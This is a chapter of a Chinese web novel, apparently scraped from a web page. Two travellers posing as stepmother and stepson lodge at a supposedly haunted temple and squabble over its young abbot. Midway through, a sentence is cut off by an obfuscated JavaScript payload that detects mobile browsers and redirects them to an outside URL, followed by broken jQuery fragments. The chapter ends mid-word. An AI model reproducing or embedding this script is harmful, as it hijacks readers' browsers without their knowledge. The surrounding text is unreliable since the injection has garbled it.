42. 禅心1

作品:《道长你压到我尾巴了

    自书馆一别,两人一连数日都没再见面。


    直到去南坞山的那一天早晨,李胜昔和徐明生才不得不在门口相见。


    徐明生一早收拾妥当,背后负着包袱,坐在一匹马上等她。


    他抬头看看日头。


    太阳已经高悬头顶,有些刺眼。


    同时意味着,他至少已经在这儿等了半个时辰了。


    只是……李胜昔还没出来。


    他座下的马儿好似也同样等待得烦了,时不时就要扯着脖子嘶鸣一声。


    徐明生伸出手,默默摸了摸它脖间的鬃毛,以示安抚。


    或许是恃宠而骄,那马儿在得到了他的安抚后,反而发出了更猛烈尖锐的长叫声。


    “嘶!嘶…”


    “闭嘴!”


    听到这充满警告意味的女生,马儿原本就圆溜溜的眼睛更瞪大了几分。


    他立即停止了嘶鸣,低下头,装作吃草的样子。


    徐明生看了看青石板的地面:“……”


    别说草,这门口今晨刚被金玉楼的小厮打扫过,连根毛都没有。


    李胜昔的马和徐明生并列在一起,她看了他一眼,却没什么好脸色,只淡淡说了一句:“走吧。”


    徐明生点点头,她不热情对自己正好,免得再生出什么感情上的异端。


    两人扬起马鞭,身子如同离弦的箭一般窜了出去。


    南坞山距离京城算不上远,骑马一天也就到了,但是山上的路却是极为难走。


    好在这佛寺并不在山的高处,在第三天上午,两人终于风尘仆仆赶到了佛寺所在地。


    李胜昔立在佛寺门前,扫视着紧闭的门口。


    这佛寺从外观上看,已经褪色了不少,估计是年代久远或者香火并不旺盛的缘故。


    她想到徐明生是在南坞山上长大的,转头发问:“你可来过此寺?”


    徐明生一怔。


    这是今天她开口和他说的第一句话。


    他的视线又重新从左到右扫视了一圈,才确定地说:“没来过,长老不允许我们随意下山。”


    李胜昔轻嗤一声,“怪不得闹鬼到这种地步,你们长生宫都不知道。”


    徐明生沉默下,抿了抿嘴。


    她眼神轻飘飘的,斜斜瞥了他一眼,“依我看,不如叫蒙眼捂嘴宫好了。”


    徐明生放在身子两侧的手紧握成全。李胜昔的这张嘴,有时候真让他恨不得拿针线给缝上。


    不过这次,他自知理亏,所以被嘲讽的同时,也只是默默咽下,并无反驳斗嘴。


    李胜昔见他吃亏,心情这才好了点。


    她上前一步,叩响了佛寺的门环。


    “咚咚—”门环叩在厚实的木质大门上,发出沉闷的响声。


    等待的时候,徐明生站在她身后,低声提了个问题:“一会儿有人出来,我们怎么说自己的身份。”


    李胜昔微微回头,给了他一个“你想怎样”的眼神,又问:“你说呢。”


    徐明生沉吟片刻,像是是经过深思熟虑后才开口道:“你我孤男寡女,不如就以……”


    “兄妹相称。”李胜昔直视着他的眼睛,打断他。


    徐明生眼神愕然。


    李胜昔见他这幅惊讶的样子,不由露出兴味盎然的笑容,“不然呢,你想的什么?”


    徐明生眼神暗了下来,没开口回答。


    李胜昔又是一声轻嗤,“不会是夫妻吧?痴人说梦,美死你。”


    说罢,她回过头去,继续看着佛寺门口。


    徐明生:“……”


    他刚刚还真是这么想的。


    已经由朱红色褪色成暗红的佛寺大门被人从里面缓缓打开大开,露出一条缝隙。


    缝隙的中间,一颗圆润的光头缓缓露了出来。


    光头下面,是一张年轻的笑脸。


    他看着李胜昔和徐明生,露出一个和善的笑容,“二位施主,敲门所谓何事?”


    李胜昔也扬起一抹明媚的笑,“小师傅,我们母子二人云游路过此处,不知可否在贵寺借宿一晚?”


    门缝中的小光头露出惊讶神情。


    至于李胜昔身后的徐明生,他已经不能用惊讶来形容了。


    他已经快要裂开了。


    刚刚还说是兄妹,怎么眼下就是母子了?那这几天他岂不是都要叫她娘?


    李胜昔自然知道小沙弥的惊讶来自何处,她笑着解释道:“我是他父亲的续弦,是他的继母,所以年岁差得不算大。”


    徐明生嘴角忍不住抽搐几下。


    小沙弥闻言,这才一脸了然。老夫少妻嘛,确实常见,说得通。毕竟,他还见过长得像爷爷和孙女的夫妻来求子呢。


    他把门微微打开的大了些,恭声道:“两位请进吧,寺内还有空余房间。”


    话落,他微微让开身子,使两人能够进来。


    李胜昔和徐明生一前一后地进了寺内。


    小沙弥走在前,带着两人往留宿的后院走去。


    路上,李胜昔环顾四周。这佛寺冷冷清清的,不仅香客稀少的可怜,就连僧人也看不见几个。


    这扑面而来的凋零感,徐明生也感觉到了。


    他想了想这问题似乎有些冒昧,但还是好奇发问了:“小师傅,冒昧地问一句,贵寺为何如此冷清?”


    其实他原本想问的是,为何如此阴冷幽森。


    但考虑到这问题实在过于冒昧,还是算了。


    这小沙弥听见他的问题,脚下一顿,脸上浮现了些许不悦神情。


    李胜昔皱了皱眉,心头涌上几分警惕,不动声色地挡在了徐明生身前。


    徐明生微微一愣,但很快缓过神。


    所幸那小沙弥的不悦并未持续多久,他撇撇嘴,还是为两人解答了这个疑问。


    “还不是那传言害得,说什么我们寺有妖怪,搞得现在不仅香客减少了,就连师兄弟们都离开了不少。”


    说到这,小沙弥叹了口气,有些惆怅的仰头望了望天空。


    他的光头在阳光的照耀下,闪烁着金光,为他渡上了一层淡淡的光晕。


    李胜昔见状,强忍笑意,“佛家不是最讲究因缘二字吗,估计还是时候未到吧。没准能破除这传言的人已经在路上了。”


    徐明生闻言看了眼她。


    小沙弥摇摇头,少年装老成的样子叹了口气,“但愿吧。”


    三人边闲聊着,边继续向后院走去。


    在经过其中一个院落之时,正好遇见一黄衣僧人从房中出来。


    小沙弥脸上大惊,立即双手合十


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113409|195526||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,弯腰行礼道:“方丈。”


    李胜昔被这声方丈夺去了注意。


    她的目光不由得落在黄衣僧人面上打转。


    好年轻英俊的一张脸。


    她下意识在心中感叹。


    徐明生自然没错过她的这片刻失神,心底泛起几分不悦,皱了皱眉,率先对着这方丈开口道:“在下徐明生,因云游到此,借宿一晚,还望方丈见谅。”


    这方丈眸中含笑,面露慈光,“自然可以,施主就跟着空空去吧。”


    空空就是这小沙弥的法号。


    李胜昔此刻已经回了神,但却迟迟没有挪开视线。


    徐明生见状,不知为何,心中竟多了几分来历不明的气愤。


    李胜昔对着这方丈开口了,声音温和:“在下李昔,是这位徐公子的继母。”


    方丈同样点点头,对她微微一笑,这才转身离去了。


    徐明生见她的视线还盯着人家的背影瞧,忍不住开口轻嘲:“再看,人家也不会转身回来。”


    李胜昔嘴角的笑容渐渐收敛起,用看傻子的眼神看他,语气淡然:“那也比有些人就算唱戏,我也不会看上一眼强。”


    徐明生一下子怒。


    李胜昔也怒瞪着他。


    小沙弥见两人之间剑拔弩张的气势,连忙道:“二位,我们还是先看房间吧,寺内房间少,去晚了被别的香客占了可不少了。”


    徐明生看他:“除了我们,这寺内哪有什么香客。”


    小沙弥:“……”


    好想骂人怎么办。


    李胜昔嘲讽他:“就你这个脑子和嘴,也就在长生宫那鸟不拉屎与人世隔绝的地方能平安长大。”


    徐明生又怒了。


    他重重哼了一声,甩袖离开。


    小沙弥摆手叫他:“公子,你走反了!这边,房间在这边……”


    徐明生的脚步一下子站住了,脸上的冷漠表情出现了一丝龟裂。


    他迟迟不肯转回身去。


    李胜昔此刻已经捧腹大笑起来,那叫一个前仰后合。


    看他的笑话,她乐此不疲。


    那小沙弥顶着尴尬继续道:“二位还是跟紧我吧,可别瞎跑了。”


    *


    禅房内,


    李胜昔一切打点妥当,打开屋门走了出去。


    她准备去寻徐明生商量一下对策,顺便打听一下传言之事。


    正巧,徐明生此刻也出了屋,和她不谋而合。


    两人就这样在后院的路上相遇了。


    一时间,两人都有些尴尬。


    但正事要紧,迫不得已,徐明生还是率先开了口,“我觉得那方丈有问题。”


    李胜昔一愣,下意识道:“哪里,我怎么没感觉出来?”


    徐明生呵了一声,“你眼珠子都快粘在他脸上了,能看出来什么?”


    李胜昔的脸立刻拉了下来,虽然她的确对好看的人或物有着迷恋,但是他绝对不能怀疑她的专业性。


    “你说他有问题可以,但是证据呢?”


    徐明生一下子沉默了,“证据还没找到,但是你不觉得他这么年轻就当成了一所佛寺的方丈,实在太过异常吗?”


    李胜昔:“不,我通常管这叫年少有为。”


    徐敏说声